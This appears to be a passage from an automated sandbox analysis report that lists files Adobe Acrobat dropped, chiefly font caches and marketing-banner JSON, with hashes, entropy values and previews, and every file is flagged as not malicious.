Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt23.lst.7040

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\ACROBAT_READER_MASTER_SURFACEID

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.360409738961638
Encrypted:	false
SSDEEP:	6:YEQXJ2HX3HDdXQK9VoZcg1vRcR0Y+S2WxoAvJM3g98kUwPeUkwRe9:YvXKX3HBXkZc0vdEOGMbLUkee9
MD5:	C9B2B5310210F2EE2CD95549B77F2D72
SHA1:	37CD1AA3F65D6525D6AE2DC53BD83FC4A119DF3C
SHA-256:	44CB55EC1EAFE64388A82FD1BC35D6A4CF81590BC629F46AF66E817114EF47B1
SHA-512:	075EBDF7E07B0B601D8AEC043674B267B818D2F142F07E295D039855D65A20C096FC613B4600360FBF6C53FDB0AC2CCAEB4971AFBCF58FD91878106BC68F7C2E
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"c3055dfa-3872-41be-bfed-c9a38da1e759","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736755582775,"statusCode":200,"surfaceID":"ACROBAT_READER_MASTER_SURFACEID","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Home_View_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.307576995833107
Encrypted:	false
SSDEEP:	6:YEQXJ2HX3HDdXQK9VoZcg1vRcR0Y+S2WxoAvJfBoTfXpnrPeUkwRe9:YvXKX3HBXkZc0vdEOGWTfXcUkee9
MD5:	E5A479AD3AF2CC96356A1F5C44794BA4
SHA1:	886BCBCE0A691214F77AD60939E788F5F141B3AB
SHA-256:	58A9529373FB76E4CC1039CEE65EC02E5E08E5F90E27257D17E7DF926E2A7757
SHA-512:	ACE06DB8919C73B910A40C5E137AEC9A6A6F9ABB9F6D33A28DCCEABDB8B2661C3FA018269273332E7947CED3FF585855C7BFAF24B845BA1BFE6CBA53CE376248
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"c3055dfa-3872-41be-bfed-c9a38da1e759","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736755582775,"statusCode":200,"surfaceID":"DC_FirstMile_Home_View_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Right_Sec_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.286398070878706
Encrypted:	false
SSDEEP:	6:YEQXJ2HX3HDdXQK9VoZcg1vRcR0Y+S2WxoAvJfBD2G6UpnrPeUkwRe9:YvXKX3HBXkZc0vdEOGR22cUkee9
MD5:	9F6288280286C1A08CED63A190DEDD84
SHA1:	8AC62CDC7AE587D8D22D1DFFD7E8DB7BFAF9B964
SHA-256:	00EFDC226DC99F7F13B58B6719171EDEBBC927C8B4BB704426C3C9FF1E498EE9
SHA-512:	FD00D3C281AF3525406FBF5BCD772EE9A789C9D640205B17E84A7B79A5C314F0466FA4F7D54702839A350B7092F249A537C4E300F9B47E67E6050DE8FF17E806
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"c3055dfa-3872-41be-bfed-c9a38da1e759","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736755582775,"statusCode":200,"surfaceID":"DC_FirstMile_Right_Sec_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_READER_LAUNCH_CARD

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	285
Entropy (8bit):	5.34731660840748
Encrypted:	false
SSDEEP:	6:YEQXJ2HX3HDdXQK9VoZcg1vRcR0Y+S2WxoAvJfPmwrPeUkwRe9:YvXKX3HBXkZc0vdEOGH56Ukee9
MD5:	1FB058D282EEBB4E1967D6A6B87FA214
SHA1:	7A802ED8206ED115E5CFB7BBDE5F40A23E2C0CEB
SHA-256:	8C6FAE4D58DA6968D12B56F4B3052C1341A17F5B93B75ABA304D7679F67C9A8F
SHA-512:	1C79A8A6E5811E2995183F84328B72E5AE8F97010984DA001678D09FDD90FA5B9E8D5C454C93957AB5A93DFB7040C7A1681FE4127371691E92A61CD016F80277
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"c3055dfa-3872-41be-bfed-c9a38da1e759","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736755582775,"statusCode":200,"surfaceID":"DC_READER_LAUNCH_CARD","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Convert_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1123
Entropy (8bit):	5.688456906745064
Encrypted:	false
SSDEEP:	24:Yv6X3HazvdE7pLgE9cQx8LennAvzBvkn0RCmK8czOCCSE:YvaS67hgy6SAFv5Ah8cv/E
MD5:	BDAC169E80458945C71073A7DAF6BB7F
SHA1:	024A79AB4F83B17414DCDEA3EA3BFC64606A7CCB
SHA-256:	F6B3AD3E9C1E10436CAC3B8941F3ED5F87B159B3B05B9645015BC4EDF612D9A4
SHA-512:	41EAE03457A9545C8FA6C9ADE7FD6EA3BD528293221AC742B5E48FA90A508B3E9FAC95AF2F4546C95BAA7527631D4BB32C067EDDBB5127C7AE3D2E9E2EC537B6
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"c3055dfa-3872-41be-bfed-c9a38da1e759","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736755582775,"statusCode":200,"surfaceID":"DC_Reader_Convert_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Convert_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_1","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"d5bba1ae-6009-4d23-8886-fd4a474b8ac9","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Convert_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IkNvbnZlcnRQREZSZHJSSFBBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkV4cG9ydCBQREZzIHRvIE1pY3Jvc29mdCBXb3JkIGFuZCBFeGNlbC4ifSwidGNh

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.2905560332644015
Encrypted:	false
SSDEEP:	6:YEQXJ2HX3HDdXQK9VoZcg1vRcR0Y+S2WxoAvJf8dPeUkwRe9:YvXKX3HBXkZc0vdEOGU8Ukee9
MD5:	1BE873E07DA0A54928B7C75210D46CB3
SHA1:	6CC51B9D91D53D79CE52349F976644A104A1D479
SHA-256:	60A20E75F1A774ACA047E5D26A9C0959A00A0C144D9DA722A5606C5847B2AF48
SHA-512:	7794A869A5DCE673BC4B30A8A45632483E41E79BE553EC9B32328FFB87BACD9A4B26D2DF974AF0923E3344B403A237794DC56E4AAA65C9599D1C671C72A39039
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"c3055dfa-3872-41be-bfed-c9a38da1e759","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736755582775,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.294569868610985
Encrypted:	false
SSDEEP:	6:YEQXJ2HX3HDdXQK9VoZcg1vRcR0Y+S2WxoAvJfQ1rPeUkwRe9:YvXKX3HBXkZc0vdEOGY16Ukee9
MD5:	6CED710AFDC1B24A477A06B05FE90487
SHA1:	D75BBAC21331BCD9202A3AB8C678D1B2E49A1788
SHA-256:	30CCCAC0BDB83F3110FE34C0A38573132672426649D7B19BD2900D4D081BE907
SHA-512:	C40CE3C45C20205B52DDD55D86EC8CFBB3B29B82FBCA5453FC878F775D795F234ED6C2869A88806FBB52EE3D925A21DB96CA7F073A23DD5C62A574D07D6BE4E6
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"c3055dfa-3872-41be-bfed-c9a38da1e759","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736755582775,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Edit_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.299023217944006
Encrypted:	false
SSDEEP:	6:YEQXJ2HX3HDdXQK9VoZcg1vRcR0Y+S2WxoAvJfFldPeUkwRe9:YvXKX3HBXkZc0vdEOGz8Ukee9
MD5:	022E29070F997C0226D3D2CF73190FE1
SHA1:	4829B25ABE460C9DFFF6069250DC44DF3F2EB618
SHA-256:	05275D290EC108F72AB7534204DACA416511D1600F4B88B4D8D1CE8B06F82997
SHA-512:	AF000666FF9087D74F0F04F3FC0DCB559344B8F5AA84704C13A86B2C2386297A917CEFE8195B0836F8C3689EC872377C0B24BD8B9A2EFB9A15E1C363861CA82E
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"c3055dfa-3872-41be-bfed-c9a38da1e759","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736755582775,"statusCode":200,"surfaceID":"DC_Reader_Edit_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Home_LHP_Trial_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.315723587933406
Encrypted:	false
SSDEEP:	6:YEQXJ2HX3HDdXQK9VoZcg1vRcR0Y+S2WxoAvJfzdPeUkwRe9:YvXKX3HBXkZc0vdEOGb8Ukee9
MD5:	F268CE46B1B16E57CB291A0849153A18
SHA1:	1F942FCD906941D0AA7F5C3C4EA9347CBCF1DC16
SHA-256:	33EDA9DACB9A5889110257D62BBF3EF2B1F1016999E8E0EEE7E55EB97B458D9B
SHA-512:	5865328BDC07691A8190001B33D98775496E38F183D819EDAC8A100302AC204980B69682E16D40A8A5F185D7411FA2D025EF81135384CC523E1E632E275E576F
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"c3055dfa-3872-41be-bfed-c9a38da1e759","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736755582775,"statusCode":200,"surfaceID":"DC_Reader_Home_LHP_Trial_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_More_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.296569236613148
Encrypted:	false
SSDEEP:	6:YEQXJ2HX3HDdXQK9VoZcg1vRcR0Y+S2WxoAvJfYdPeUkwRe9:YvXKX3HBXkZc0vdEOGg8Ukee9
MD5:	22CFD7DB8E9EE490431AFAA7826A456A
SHA1:	23E439AEBB3FFECA488EFF7BF1E1A2408659BAAA
SHA-256:	42D78194E37BDD63068F48F7F3156835010BD457B8B1809407787FC624167292
SHA-512:	D10AFFF83617D93AA8B30CA7296BEC25D98A629D81D4F25DEF46D4C02EB44F044479CCCFC6E289768053BDAFE130ED8B7CFEF219027113BAEEC39D0DD9F3C978
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"c3055dfa-3872-41be-bfed-c9a38da1e759","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736755582775,"statusCode":200,"surfaceID":"DC_Reader_More_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	284
Entropy (8bit):	5.283140562292628
Encrypted:	false
SSDEEP:	6:YEQXJ2HX3HDdXQK9VoZcg1vRcR0Y+S2WxoAvJf+dPeUkwRe9:YvXKX3HBXkZc0vdEOG28Ukee9
MD5:	15583C4956E1FDCC6FD1BCDDC23DD3A1
SHA1:	F404600D5A10EF51DF48D0F468CC95EE5710A447
SHA-256:	9FF7E81F335ADD2621B789A7233F8C930BBFB4520DF559541DF0B707C12FFA38
SHA-512:	C1C1EC7D822C39C66C830902C1221A5E96C2A73E6A550DACB117EB05DCDEB64868C63EB9D85E4752C263D4990B172879838776257206E170473A7EB08C268C44
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"c3055dfa-3872-41be-bfed-c9a38da1e759","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736755582775,"statusCode":200,"surfaceID":"DC_Reader_RHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Intent_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.280139913416819
Encrypted:	false
SSDEEP:	6:YEQXJ2HX3HDdXQK9VoZcg1vRcR0Y+S2WxoAvJfbPtdPeUkwRe9:YvXKX3HBXkZc0vdEOGDV8Ukee9
MD5:	ED71304AA88AB3EDA84091EE60C2F2F9
SHA1:	C182A1246E05379A5FCCBB1F574A42D185D61108
SHA-256:	91B6DC8E8F5A4F9AB0D3F5C44AC86D9FF59C8F8ADE357396F270685B0D43598D
SHA-512:	50A2B0AE792EF32C5B8312B8C6DB475E7390FE471A2F9750200FBB7F010A8C9610F792031D9DE6F711541A2C6ECFA217402F5506AD5AC6E38EA38D9D0ABA5575
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"c3055dfa-3872-41be-bfed-c9a38da1e759","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736755582775,"statusCode":200,"surfaceID":"DC_Reader_RHP_Intent_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	287
Entropy (8bit):	5.285039744751376
Encrypted:	false
SSDEEP:	6:YEQXJ2HX3HDdXQK9VoZcg1vRcR0Y+S2WxoAvJf21rPeUkwRe9:YvXKX3HBXkZc0vdEOG+16Ukee9
MD5:	E0BB4EB50F556F444D85E9DB4CB12209
SHA1:	A3B17F43396D9FB0FF935CA20586CB9E172B2E94
SHA-256:	460F065F1101E8228A3B169ECA5EEA718C10772C0C1DA3B3EA3E87DA691D5659
SHA-512:	719D0192FBCF7FE0BC3C59665929283D8FCE6FA0F8D2A5FE3D09366420F0F79F9E91A08BD2DAFC61B975BCDA418020821BA952A5703AC15681270FF36889F2CE
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"c3055dfa-3872-41be-bfed-c9a38da1e759","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736755582775,"statusCode":200,"surfaceID":"DC_Reader_RHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Sign_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1090
Entropy (8bit):	5.66603904342459
Encrypted:	false
SSDEEP:	24:Yv6X3HazvdE7amXayLgE+cNDxeNaqnAvz7xHn0RCmK8czOC/BSE:YvaS6LBgkDMUJUAh8cvME
MD5:	B7C919F84A66B3438D3BDA7474FBFC6F
SHA1:	B1231B7BCDD7127946B66BF144C6BBB939100D53
SHA-256:	8D1B374BC7F0A67BB306E59DEF4D3E61D6E30B447527B6839915B65391034EBD
SHA-512:	9B721DCFCABEE36A44696DAE6590633E7F89FC3339011D922B84F1834FC259B20F31FE72CD765E733E63AE232C2CC34A21982C1C4CF9C3C4B99637E0AC34D0C3
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"c3055dfa-3872-41be-bfed-c9a38da1e759","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736755582775,"statusCode":200,"surfaceID":"DC_Reader_Sign_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Sign_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_0","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"266234d2-130d-426e-8466-c7a061db101f","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Sign_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IlVwZ3JhZGVSSFBSZHJBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkVhc2lseSBmaWxsIGFuZCBzaWduIFBERnMuIn0sInRjYXRJZCI6bnVsbH0=","dataType":"app

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Upsell_Cards

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	286
Entropy (8bit):	5.259808866450664
Encrypted:	false
SSDEEP:	6:YEQXJ2HX3HDdXQK9VoZcg1vRcR0Y+S2WxoAvJfshHHrPeUkwRe9:YvXKX3HBXkZc0vdEOGUUUkee9
MD5:	1E0F732074BA4FF669BEFBE4D91F30AD
SHA1:	69A35201A288D4B4286676A54A18EB707DCB8ADC
SHA-256:	21FC5186261E44E47A93EB0D1EFE38135CD6D17DF2F65D3BF7328141C373FB53
SHA-512:	5F9EBFF063402DFB80D77862E441FFA5D6CB7A952F38615E4A1DD89DB9951ED07169A1A5FAA278F453DCBD556B4E4AAB86BC63DFF9135B43CAE70643C40977A7
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"c3055dfa-3872-41be-bfed-c9a38da1e759","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736755582775,"statusCode":200,"surfaceID":"DC_Reader_Upsell_Cards","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\Edit_InApp_Aug2020

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	282
Entropy (8bit):	5.276270402806006
Encrypted:	false
SSDEEP:	6:YEQXJ2HX3HDdXQK9VoZcg1vRcR0Y+S2WxoAvJTqgFCrPeUkwRe9:YvXKX3HBXkZc0vdEOGTq16Ukee9
MD5:	A12BC8F889979ADE44074A2A0808B73C
SHA1:	DB63EEDC7718849A5CDA65204005C9845DA428F0
SHA-256:	CC436CB421FA18AF13FA3152DAAE8D5DB0A729FC3143F557BC104ECE9434DA9B
SHA-512:	5FF26DCFE4875587C72BAB9E71DB791B9F139CA4B51EB166459ADFA314C9B19D625107063EA14A1A0EEEB9A4324E8B6DCDFAC2A2A050CE27BA6EC6D46627A1B6
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"c3055dfa-3872-41be-bfed-c9a38da1e759","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736755582775,"statusCode":200,"surfaceID":"Edit_InApp_Aug2020","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\TESTING

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	4
Entropy (8bit):	0.8112781244591328
Encrypted:	false
SSDEEP:	3:e:e
MD5:	DC84B0D741E5BEAE8070013ADDCC8C28
SHA1:	802F4A6A20CBF157AAF6C4E07E4301578D5936A2
SHA-256:	81FF65EFC4487853BDB4625559E69AB44F19E0F5EFBD6D5B2AF5E3AB267C8E06
SHA-512:	65D5F2A173A43ED2089E3934EB48EA02DD9CCE160D539A47D33A616F29554DBD7AF5D62672DA1637E0466333A78AAA023CBD95846A50AC994947DC888AB6AB71
Malicious:	false
Preview:	....

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\SOPHIA.json

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2814
Entropy (8bit):	5.1457363971811345
Encrypted:	false
SSDEEP:	48:YAmkRScDv2CYe0Vw1mgxS/psmp40qBtR9US/z:FZvpYe0Vmap40itvF/z
MD5:	2D38820BBDB7657D5FCEC942D27FB2DB
SHA1:	4BE9122A2F2F8628DDDEF050B5E501EDAFD0A7FC
SHA-256:	D29F8C8154DF46BBD6F4516DA5AF93097CE548C086C99CB78179322C983D3824
SHA-512:	32A8A5A4E60F255A2DB6174636C20B474074BDC13708335CBEC2D3C235390A604333B38053598117E79B2AA2EE289D8128BA485BC57983195DBB650FED86ECF3
Malicious:	false
